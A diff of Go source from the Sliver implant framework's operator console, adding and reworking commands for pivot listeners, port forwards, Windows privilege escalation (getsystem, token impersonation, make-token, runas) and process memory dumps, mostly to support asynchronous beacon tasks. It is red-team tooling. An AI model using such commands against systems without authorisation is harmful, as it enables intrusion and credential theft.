Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// PivotDetailsCmd - Display pivots for all sessions
func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pivotListeners.Response != nil && pivotListeners.Response.Err != "" {
con.PrintErrorf("%s\n", pivotListeners.Response.Err)
return
}
id := uint32(ctx.Flags.Int("id"))
if id == uint32(0) {
selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
id = selectedListener.ID
}
found := false
for _, listener := range pivotListeners.Listeners {
if listener.ID == id {
PrintPivotListenerDetails(listener, con)
found = true
}
}
if !found {
con.PrintErrorf("No pivot listener with id %d\n", id)
}
}
// PrintPivotListenerDetails - Print details of a single pivot listener
func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.SliverConsoleClient) {
con.Printf("\n")
con.Printf(" ID: %d\n", listener.ID)
con.Printf(" Protocol: %s\n", PivotTypeToString(listener.Type))
con.Printf(" Bind Address: %s\n", listener.BindAddress)
con.Printf(" Number of Pivots: %d\n", len(listener.Pivots))
con.Printf("\n")
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(fmt.Sprintf(console.Bold+"%s Pivots"+console.Normal, PivotTypeToString(listener.Type)))
tw.AppendSeparator()
tw.AppendHeader(table.Row{
"ID",
"Remote Address",
})
for _, pivot := range listener.Pivots {
tw.AppendRow(table.Row{
pivot.ID,
pivot.RemoteAddress,
})
}
con.Printf("%s\n", tw.Render())
}
+64
View File
@@ -0,0 +1,64 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
"fmt"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// SelectPivotListener - Interactive menu to select a pivot listener
func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) (*sliverpb.PivotListener, error) {
// Render selection table
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, listener := range listeners {
fmt.Fprintf(table, "%d\t%s\t%s\t\n", listener.ID, PivotTypeToString(listener.Type), listener.BindAddress)
}
table.Flush()
options := strings.Split(buf.String(), "\n")
options = options[:len(options)-1]
if len(options) == 0 {
return nil, errors.New("no task to select from")
}
selected := ""
prompt := &survey.Select{
Message: "Select a beacon task:",
Options: options,
}
err := survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for index, value := range options {
if value == selected {
return listeners[index], nil
}
}
return nil, errors.New("task not found")
}
-40
View File
@@ -1,40 +0,0 @@
package pivots
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if session.OS != "windows" {
con.PrintErrorf("Not implemented for %s\n", session.OS)
return
}
pipeName := ctx.Flags.String("name")
if pipeName == "" {
con.PrintErrorf("-n parameter missing\n")
return
}
_, err := con.Rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
PipeName: pipeName,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Listening on %s", "\\\\.\\pipe\\"+pipeName)
}
+45 -58
View File
@@ -19,84 +19,71 @@ package pivots
*/
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/desertbit/grumble"
)
// PivotsCmd - Display pivots for all sessions
func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
timeout := ctx.Flags.Int("timeout")
sessionID := ctx.Flags.String("id")
if sessionID != "" {
session := con.GetSession(sessionID)
if session == nil {
return
}
printPivots(session, int64(timeout), con)
} else {
session := con.ActiveTarget.GetSession()
if session != nil {
printPivots(session, int64(timeout), con)
} else {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
for _, session := range sessions.Sessions {
printPivots(session, int64(timeout), con)
}
}
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
}
func printPivots(session *clientpb.Session, timeout int64, con *console.SliverConsoleClient) {
pivotList, err := con.Rpc.ListPivots(context.Background(), &sliverpb.PivotListReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
Async: false,
},
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pivotList.Response != nil && pivotList.Response.Err != "" {
con.PrintErrorf("%s\n", pivotList.Response.Err)
if pivotListeners.Response != nil && pivotListeners.Response.Err != "" {
con.PrintErrorf("%s\n", pivotListeners.Response.Err)
return
}
if len(pivotList.Entries) > 0 {
con.PrintInfof("Session %d\n", session.ID)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "type\taddress\t\n")
fmt.Fprintf(table, "%s\t%s\t\n",
strings.Repeat("=", len("type")),
strings.Repeat("=", len("address")),
)
for _, entry := range pivotList.Entries {
fmt.Fprintf(table, "%s\t%s\t\n", entry.Type, entry.Remote)
}
table.Flush()
con.Printf(outputBuf.String())
if len(pivotListeners.Listeners) == 0 {
con.PrintInfof("No pivot listeners running on this session\n")
} else {
con.PrintInfof("No pivots found for session %d\n", session.ID)
PrintPivotListeners(pivotListeners.Listeners, con)
}
}
// PrintPivotListeners - Print a table of pivot listeners
func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Protocol",
"Bind Address",
"Number of Pivots",
})
for _, listener := range pivotListeners {
tw.AppendRow(table.Row{
listener.ID,
PivotTypeToString(listener.Type),
listener.BindAddress,
len(listener.Pivots),
})
}
con.Printf("%s\n", tw.Render())
}
// PivotTypeToString - Convert a pivot type to a human string
func PivotTypeToString(pivotType sliverpb.PivotType) string {
switch pivotType {
case sliverpb.PivotType_TCP:
return "TCP"
case sliverpb.PivotType_UDP:
return "UDP"
case sliverpb.PivotType_NamedPipe:
return "Named Pipe"
}
return "Unknown"
}
+74
View File
@@ -0,0 +1,74 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// StartTCPListenerCmd - Start a TCP pivot listener on the remote system
func StartTCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
bind := ctx.Flags.String("bind")
lport := uint16(ctx.Flags.Int("lport"))
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
Type: sliverpb.PivotType_TCP,
BindAddress: fmt.Sprintf("%s:%d", bind, lport),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if listener.Response != nil && listener.Response.Err != "" {
con.PrintErrorf("%s\n", listener.Response.Err)
return
}
con.PrintInfof("Started tcp pivot listener %s with id %d\n", listener.BindAddress, listener.ID)
}
// StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system
func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
Type: sliverpb.PivotType_NamedPipe,
BindAddress: ctx.Flags.String("bind"),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if listener.Response != nil && listener.Response.Err != "" {
con.PrintErrorf("%s\n", listener.Response.Err)
return
}
con.PrintInfof("Started named pipe pivot listener %s with id %d\n", listener.BindAddress, listener.ID)
}
+64
View File
@@ -0,0 +1,64 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// StopPivotListenerCmd - Start a TCP pivot listener on the remote system
func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
id := uint32(ctx.Flags.Int("id"))
if id == uint32(0) {
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(pivotListeners.Listeners) == 0 {
con.PrintInfof("No pivot listeners running on this session\n")
return
}
selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
id = selectedListener.ID
}
_, err := con.Rpc.PivotStopListener(context.Background(), &sliverpb.PivotStopListenerReq{
ID: id,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Stopped pivot listener\n")
}
-34
View File
@@ -1,34 +0,0 @@
package pivots
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// TCPListenerCmd - Start a TCP pivot listener on the remote system
func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
server := ctx.Flags.String("server")
lport := uint16(ctx.Flags.Int("lport"))
address := fmt.Sprintf("%s:%d", server, lport)
_, err := con.Rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
Address: address,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Listening on tcp://%s", address)
}
+23 -16
View File
@@ -19,19 +19,22 @@ package portfwd
*/
import (
"bytes"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// PortfwdCmd - Display information about tunneled port forward(s)
func PortfwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrintPortfwd(con)
}
// PrintPortfwd - Print the port forward(s)
func PrintPortfwd(con *console.SliverConsoleClient) {
portfwds := core.Portfwds.List()
if len(portfwds) == 0 {
con.PrintInfof("No port forwards\n")
@@ -40,18 +43,22 @@ func PortfwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
sort.Slice(portfwds[:], func(i, j int) bool {
return portfwds[i].ID < portfwds[j].ID
})
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "ID\tSession ID\tBind Address\tRemote Address\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Session ID")),
strings.Repeat("=", len("Bind Address")),
strings.Repeat("=", len("Remote Address")),
)
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Session ID",
"Bind Address",
"Remote Address",
})
for _, p := range portfwds {
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", p.ID, p.SessionID, p.BindAddr, p.RemoteAddr)
tw.AppendHeader(table.Row{
p.ID,
p.SessionID,
p.BindAddr,
p.RemoteAddr,
})
}
table.Flush()
con.Printf("%s", outputBuf.String())
con.Printf("%s\n", tw.Render())
}
@@ -0,0 +1,4 @@
Prelude Operator
=================
Connection code for [Prelude Operator](https://www.prelude.org/)
+3 -3
View File
@@ -51,10 +51,10 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, sess := range sessions.Sessions {
err = sessionMapper.AddSession(sess)
for _, session := range sessions.Sessions {
err = sessionMapper.AddSession(session)
if err != nil {
con.PrintErrorf("Could not add session %s to session mapper: %s", sess.Name, err)
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
}
}
con.PrintInfof("Done !\n")
+58 -21
View File
@@ -1,15 +1,5 @@
package privilege
import (
"context"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
@@ -28,38 +18,65 @@ import (
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var processName string = "Current Process"
import (
"context"
"strconv"
"strings"
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// GetPrivsCmd - Get the current process privileges (Windows only)
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session.OS != "windows" {
con.PrintErrorf("Command not supported on this operating system.")
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Command only supported on Windows.\n")
return
}
privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
pid := getPID(session, beacon)
if privs.Response != nil && privs.Response.Async {
con.AddBeaconCallback(privs.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, privs)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintGetPrivs(privs, pid, con)
})
con.PrintAsyncResponse(privs.Response)
} else {
PrintGetPrivs(privs, pid, con)
}
}
// PrintGetPrivs - Print the results of the get privs command
func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverConsoleClient) {
// Response is the Envelope (see RPC API), Err is part of it.
if privs.Response != nil && privs.Response.Err != "" {
con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n")
con.PrintErrorf("%s\n", privs.Response.Err)
}
if privs.PrivInfo == nil {
return
}
var processName string = "Current Process"
if privs.ProcessName != "" {
processName = privs.ProcessName
}
@@ -68,7 +85,7 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// for column width
var nameColumnWidth int = 0
var descriptionColumnWidth int = 0
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(pid)))
for _, entry := range privs.PrivInfo {
if len(entry.Name) > nameColumnWidth {
@@ -83,7 +100,7 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
nameColumnWidth += 1
descriptionColumnWidth += 1
con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
con.Printf("Privilege Information for %s (PID: %d)\n", processName, pid)
con.Println(strings.Repeat("-", introWidth))
con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
@@ -107,3 +124,23 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf("\n")
}
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.OS
}
if beacon != nil {
return beacon.OS
}
panic("no session or beacon")
}
func getPID(session *clientpb.Session, beacon *clientpb.Beacon) int32 {
if session != nil {
return session.PID
}
if beacon != nil {
return beacon.PID
}
panic("no session or beacon")
}
+30 -6
View File
@@ -23,34 +23,58 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system
func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Command only supported on Windows.\n")
return
}
process := ctx.Flags.String("process")
config := con.GetActiveSessionConfig()
ctrl := make(chan bool)
con.SpinUntil("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
getsystemResp, err := con.Rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
getSystem, err := con.Rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
Request: con.ActiveTarget.Request(ctx),
Config: config,
HostingProcess: process,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if getsystemResp.GetResponse().GetErr() != "" {
if getSystem.Response != nil && getSystem.Response.Async {
con.AddBeaconCallback(getSystem.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, getSystem)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintGetSystem(getSystem, con)
})
con.PrintAsyncResponse(getSystem.Response)
} else {
PrintGetSystem(getSystem, con)
}
}
// PrintGetSystem - Print the results of get system
func PrintGetSystem(getsystemResp *sliverpb.GetSystem, con *console.SliverConsoleClient) {
if getsystemResp.Response != nil && getsystemResp.Response.GetErr() != "" {
con.PrintErrorf("%s\n", getsystemResp.GetResponse().GetErr())
return
}
+26 -6
View File
@@ -22,28 +22,48 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ImpersonateCmd - Windows only, impersonate a user token
func ImpersonateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
username := ctx.Args.String("username")
impResp, err := con.Rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
impersonate, err := con.Rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
Request: con.ActiveTarget.Request(ctx),
Username: username,
})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if impResp.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", impResp.GetResponse().GetErr())
if impersonate.Response != nil && impersonate.Response.Async {
con.AddBeaconCallback(impersonate.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, impersonate)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintImpersonate(impersonate, username, con)
})
con.PrintAsyncResponse(impersonate.Response)
} else {
PrintImpersonate(impersonate, username, con)
}
}
// PrintImpersonate - Print the results of the attempted impersonation
func PrintImpersonate(impersonate *sliverpb.Impersonate, username string, con *console.SliverConsoleClient) {
if impersonate.Response != nil && impersonate.Response.GetErr() != "" {
con.PrintErrorf("%s\n", impersonate.Response.GetErr())
return
}
con.PrintInfof("Successfully impersonated %s\n", username)
+24 -6
View File
@@ -22,16 +22,19 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// MakeTokenCmd - Windows only, create a token using "valid" credentails
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
username := ctx.Flags.String("username")
password := ctx.Flags.String("password")
domain := ctx.Flags.String("domain")
@@ -50,17 +53,32 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Domain: domain,
Password: password,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if makeToken.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", makeToken.GetResponse().GetErr())
if makeToken.Response != nil && makeToken.Response.Async {
con.AddBeaconCallback(makeToken.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, makeToken)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMakeToken(makeToken, domain, username, con)
})
con.PrintAsyncResponse(makeToken.Response)
} else {
PrintMakeToken(makeToken, domain, username, con)
}
}
// PrintMakeToken - Print the results of attempting to make a token
func PrintMakeToken(makeToken *sliverpb.MakeToken, domain string, username string, con *console.SliverConsoleClient) {
if makeToken.Response != nil && makeToken.Response.GetErr() != "" {
con.PrintErrorf("%s\n", makeToken.Response.GetErr())
return
}
con.Println()
+29 -5
View File
@@ -22,22 +22,46 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RevToSelfCmd - Drop any impersonated tokens
func RevToSelfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
_, err := con.Rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
revert, err := con.Rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s", err)
con.PrintErrorf("%s\n", err)
return
}
if revert.Response != nil && revert.Response.Async {
con.AddBeaconCallback(revert.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, revert)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRev2Self(revert, con)
})
con.PrintAsyncResponse(revert.Response)
} else {
PrintRev2Self(revert, con)
}
}
// PrintRev2Self - Print the result of revert to self
func PrintRev2Self(revert *sliverpb.RevToSelf, con *console.SliverConsoleClient) {
if revert.Response != nil && revert.Response.GetErr() != "" {
con.PrintErrorf("%s\n", revert.Response.GetErr())
return
}
con.PrintInfof("Back to self...")
+38 -8
View File
@@ -22,16 +22,19 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RunAsCmd - Run a command as another user on the remote system
func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
username := ctx.Flags.String("username")
process := ctx.Flags.String("process")
arguments := ctx.Flags.String("args")
@@ -46,22 +49,49 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
runAsResp, err := con.Rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
runAs, err := con.Rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
Request: con.ActiveTarget.Request(ctx),
Username: username,
ProcessName: process,
Args: arguments,
})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if runAsResp.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", runAsResp.GetResponse().GetErr())
return
name := getName(session, beacon)
if runAs.Response != nil && runAs.Response.Async {
con.AddBeaconCallback(runAs.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, runAs)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRunAs(runAs, process, arguments, name, con)
})
con.PrintAsyncResponse(runAs.Response)
} else {
PrintRunAs(runAs, process, arguments, name, con)
}
con.PrintInfof("Successfully ran %s %s on %s\n", process, arguments, session.GetName())
}
// PrintRunAs - Print the result of run as
func PrintRunAs(runAs *sliverpb.RunAs, process string, args string, name string, con *console.SliverConsoleClient) {
if runAs.Response != nil && runAs.Response.GetErr() != "" {
con.PrintErrorf("%s\n", runAs.Response.GetErr())
return
}
con.PrintInfof("Successfully ran %s %s on %s\n", process, args, name)
}
func getName(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Name
}
if beacon != nil {
return beacon.Name
}
panic("no session or beacon")
}
+54 -11
View File
@@ -22,22 +22,26 @@ import (
"context"
"fmt"
"io/ioutil"
"path"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ProcdumpCmd - Dump the memory of a remote process
func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
pid := ctx.Flags.Int("pid")
name := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
if pid == -1 && name != "" {
pid = GetPIDByName(ctx, name, con)
@@ -66,13 +70,52 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostname := session.Hostname
tmpFileName := path.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
tmpFile, err := ioutil.TempFile("", tmpFileName)
if err != nil {
con.PrintErrorf("Error creating temporary file: %v\n", err)
return
hostname := getHostname(session, beacon)
if dump.Response != nil && dump.Response.Async {
con.AddBeaconCallback(dump.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, dump)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintProcessDump(dump, saveTo, hostname, pid, con)
})
con.PrintAsyncResponse(dump.Response)
} else {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
tmpFile.Write(dump.GetData())
con.PrintInfof("Process dump stored in: %s\n", tmpFile.Name())
}
// PrintProcessDump - Handle the results of a process dump
func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string, pid int, con *console.SliverConsoleClient) {
var err error
var saveToFile *os.File
if saveTo == "" {
tmpFileName := filepath.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
saveToFile, err = ioutil.TempFile("", tmpFileName)
if err != nil {
con.PrintErrorf("Error creating temporary file: %s\n", err)
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
}
}
defer saveToFile.Close()
